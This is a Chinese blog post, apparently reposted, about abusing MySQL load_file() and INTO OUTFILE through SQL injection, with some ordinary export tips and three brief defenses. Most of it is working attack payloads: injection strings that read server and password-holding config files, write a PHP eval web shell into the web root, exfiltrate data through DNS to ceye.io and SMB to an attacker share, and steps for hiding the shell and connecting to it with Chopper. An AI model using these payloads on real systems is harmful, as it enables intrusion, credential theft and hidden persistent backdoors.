博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
mysql load_file()和 into outfile
阅读量:5030 次
发布时间:2019-06-12

本文共 2148 字,大约阅读时间需要 7 分钟。

 

0x00 load_file()

  • 条件:
1. 要有file_priv权限2. 知道文件绝对路径3. 能使用union 4. 对web目录有读权限 注:若过滤了单引号,则可以将函数中的字符进行hex编码
  • 一般步骤

    • 读/etc/init.d下的东西,这里有配置文件路径
    ?id=1' union select 1,2,load_file('/etc/init.d/httpd')
    • 得到web安装路径
    ?id=1' union select 1,2,load_file('/etc/apache/conf/httpd.conf')
    • 读取密码文件
    ?id=1' union select 1,2,load_file('/site/xxx.com/conf/conn.inc.php')

 

 

 

读文件

 

如果用户具有FILE权限,则可以读取文件。

 

LOAD_FILE()Examples:SELECT LOAD_FILE('F:/wing.txt'); SELECT LOAD_FILE(0x463A2F77696E672E747874);

tips:

  • 文件必须位于服务器主机上。
  • LOAD_FILE()的基本目录是@@datadir。
  • 该文件必须是MySQL用户可读的。
  • 文件大小必须小于max_allowed_packet。
  • @@max_allowed_packet的默认大小是1047552字节。

 

0x01 into outfile

  • 条件:
1. 要有file_priv权限  2. 知道网站绝对路径  3. 要能用union 4. 对web目录有写权限 5. 没有过滤单引号 6.文件不能用INTO OUTFILE覆盖 7.INTO OUTFILE必须是查询中的最后一个语句。 8.没有办法对路径名进行编码,所以引号是必需的。
  • 一般方法

    当知道路径时,可以直接用?id=1 union select "<?php @eval($_POST['c']);?>" into outfile"C:/phpStudy/WWW/a.php"

  •  当"<?php @eval($_POST['c']);?>" 是双引号括起来时是正常的,如果是单引号括起来,里面的单引号就变为两个单引号为一个单引号 如'<?php @eval($_POST[''c'']);?>'
  • 这里改为十六进制也是可以的 如  select 0x3c3f70687020706870696e666f28293b203f3e into outfile"c:\1.txt" 
    • 外通道

      DNS Requests:SELECT LOAD_FILE(CONCAT('\\\\foo.',(select MID(version(),1,1)),'.ceye.io\\'));

       

      SMB Requests:' OR 1=1 INTO OUTFILE '\\\\attacker\\SMBshare\\output.txt

  • 其他方法

    • 登陆phpMyAdmin
    use test;  选择数据库为testcreate table aaa(bbb varchar(64));   在数据库中创建一个表aaainsert into aaa values("
    "); --在aaa中插入一条数据
    select * from aaa into outfile 'C:/phpStudy/WWW/a.php'; --将aaa中的数据导出到文件a.php
    • localhost:80/a.php能访问
    drop aaa; --删除建立的表
    • 然后菜刀连接
    菜刀连接http://www.aa.com/a.php,然后更改shell的名字并将shell放在较隐蔽的地方,比如C:\phpStudy\WWW\phpMyAdmin\setup\lib\common.php

 

 

1、如果MYSQL服务器就是你要导出文件的机器,那么可以直接用select …into outfile语句。

 

select * from rank into outfile "/home/a.txt"

 

2、如果MYSQL服务器是单独的机器,我们是在一个client上进行操作,我们要把数据结果导入到client机器上。可以使用 -e语句。

 

mysql -uroot -proot -P3306 -h10.35.13.89 dbname -e "select * from rank" > /home/a.txt

 

3、使用mysql的tee(T)命令,也就是把MYSQL的所有输出都输入到指定文件。

 

mysql>tee /home/a.txt

mysql>select * from rank;
mysql>exit

 

 

mysql> \T output.txt

Logging to file 'output.txt'
mysql> \t
Outfile disabled.

 

0x02 防御

  • 数据库连接账号不要用root权限
  • php关闭报错模式
  • mysql账户没有权限向网站目录写文件

转载于:https://www.cnblogs.com/fengshui/p/9265369.html

你可能感兴趣的文章
每天一个Linux命令(6):rmdir命令
查看>>
oracle连接的三个配置文件(转)
查看>>
Vim配置文件(Vimrc)
查看>>
RecyclerView 局部刷新(获取viewHolder 去刷新)
查看>>
PHP表单(get,post)提交方式
查看>>
使用vbs或者bat脚本修改IE浏览器安全级别和选项
查看>>
Silverlight入门
查看>>
Silverlight动态调用WEBSERVICE,WCF方法
查看>>
LeetCode 895. Maximum Frequency Stack
查看>>
模仿segmentfault 评论
查看>>
一个简单的日志函数C++
查看>>
Java 8 中如何优雅的处理集合
查看>>
IOS程序的启动过程
查看>>
连接Linux下 XAMPP集成环境中部署的禅道的数据库MariaDB
查看>>
Java操作Excel和Word
查看>>
Oracle 体系结构之ORACLE物理结构
查看>>
ORA-12538: TNS: no such protocol adapter
查看>>
盒子模型
查看>>
局域网协议
查看>>
[HNOI2012]永无乡 线段树合并
查看>>